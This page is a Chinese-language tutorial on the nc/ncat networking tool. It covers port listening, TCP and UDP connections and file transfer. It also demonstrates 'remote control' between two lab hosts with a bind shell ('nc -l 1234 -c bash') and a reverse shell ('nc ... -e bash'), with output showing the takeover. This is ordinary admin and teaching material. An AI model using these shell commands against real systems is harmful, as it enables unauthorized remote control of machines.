zoukankan      html  css  js  c++  java
  • nc命令简介

    nc介绍

    ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。

    在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 需要用下列命令手工安装。

    yum install nmap-ncat -y
    
    • 监听端口

    使用-l选指定监听端口,加上-v选项显示详细信息

    [root@host_1 ~]# nc -lv 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::1234
    Ncat: Listening on 0.0.0.0:1234
    
    • 连接端口

    nc默认就是连接端口,-v显示详细信息,-u连接udp端口

    [root@host_2 ~]# nc -v 192.168.159.134 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 192.168.159.134:1234.
    

    查看系统开启的udp端口

    [root@host_1 ~]# netstat -unlp 
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
    udp        0      0 0.0.0.0:3139            0.0.0.0:*                           691/dhclient        
    udp        0      0 127.0.0.1:323           0.0.0.0:*                           640/chronyd         
    udp        0      0 0.0.0.0:68              0.0.0.0:*                           691/dhclient        
    udp6       0      0 :::45845                :::*                                691/dhclient        
    udp6       0      0 ::1:323                 :::*                                640/chronyd 
    

    连接udp端口

    [root@host_2 ~]# nc -vu 192.168.159.134 3139
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 192.168.159.134:3139.
    
    • 传输文件

    在端口已连接的基础上,可以进行文件传输。

    • 主机1作为接受端打开端口
    [root@host_1 testdir]# nc -lv 1234 > receive.txt
    

    主机2上连接端口并传输文件

    [root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg 
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 192.168.159.134:1234.
    Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
    
    • 远程控制

    现有host_1 host_2两台主机,演示host_2控制Host_1

    host_1 192.168.159.134
    host_2 192.168.159.130
    
    • 正向控制

    host_1执行:

    [root@host_1 testdir]# nc -l 1234 -c bash
    

    host_2执行:

    [root@host_2 ~]# nc -v 192.168.159.134 1234
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 192.168.159.134:1234.
    hostname
    host_1
    

    nc命令通过建立的连接将bash传递给对方。上面host_2连接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1

    由于正向控制是在被控端开启端口,所以若存在防火墙很有可能无法连接成功

    • 反向连接

    主机host_2监听端口

    [root@host_2 ~]# nc -l 1234 
    

    主机host_1连接端口并推送bash

    [root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash)
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Connected to 192.168.159.130:1234.
    

    控制端主机开启端口监听,被控端主动连接端口并推送bash到控制端。

    • nc传输加密

    由于nc使用明文进行传输数据,所以引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。

  • 相关阅读:
    SSL JudgeOnline 1194——最佳乘车
    SSL JudgeOnline 1457——翻币问题
    SSL JudgeOnlie 2324——细胞问题
    SSL JudgeOnline 1456——骑士旅行
    SSL JudgeOnline 1455——电子老鼠闯迷宫
    SSL JudgeOnline 2253——新型计算器
    SSL JudgeOnline 1198——求逆序对数
    SSL JudgeOnline 1099——USACO 1.4 母亲的牛奶
    SSL JudgeOnline 1668——小车载人问题
    SSL JudgeOnline 1089——USACO 1.2 方块转换
  • 原文地址:https://www.cnblogs.com/technologylife/p/9211296.html
Copyright © 2011-2022 走看看